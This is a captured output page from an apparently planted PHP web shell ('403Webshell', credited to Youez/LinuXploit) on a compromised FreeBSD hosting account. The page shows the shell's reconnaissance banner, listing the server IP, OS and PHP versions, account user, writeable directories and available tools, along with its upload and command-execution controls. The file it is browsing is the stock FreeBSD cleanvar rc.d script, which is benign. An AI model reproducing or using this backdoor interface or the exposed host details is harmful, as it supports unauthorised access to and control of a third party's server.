403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /etc/rc.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /etc/rc.d/cleanvar
#!/bin/sh
#
# $FreeBSD: releng/12.4/libexec/rc/rc.d/cleanvar 328951 2018-02-06 21:35:41Z feld $
#

# PROVIDE: cleanvar
# REQUIRE: var

. /etc/rc.subr

name="cleanvar"
desc="Purge /var directory"
rcvar="cleanvar_enable"

start_precmd="${name}_prestart"
start_cmd="${name}_start"
stop_cmd=":"

extra_commands="reload"
reload_cmd="${name}_start"

cleanvar_prestart()
{
	# These files must be removed only the first time this script is run
	# on boot.
	#
	rm -f /var/run/clean_var /var/spool/lock/clean_var
}

cleanvar_start()
{
	if [ -d /var/run -a ! -f /var/run/clean_var ]; then
		# Skip over logging sockets
		find /var/run \( -type f -or -type s ! -name log -and ! -name logpriv \) -delete
		>/var/run/clean_var
	fi
	if [ -d /var/spool/lock -a ! -f /var/spool/lock/clean_var ]; then
		find /var/spool/lock -type f -delete
		>/var/spool/lock/clean_var
	fi
	if [ -d /var/spool/uucp/.Temp ]; then
		find /var/spool/uucp/.Temp -delete
	fi
}

load_rc_config $name
run_rc_command "$1"

Youez - 2016 - github.com/yon3zu
LinuXploit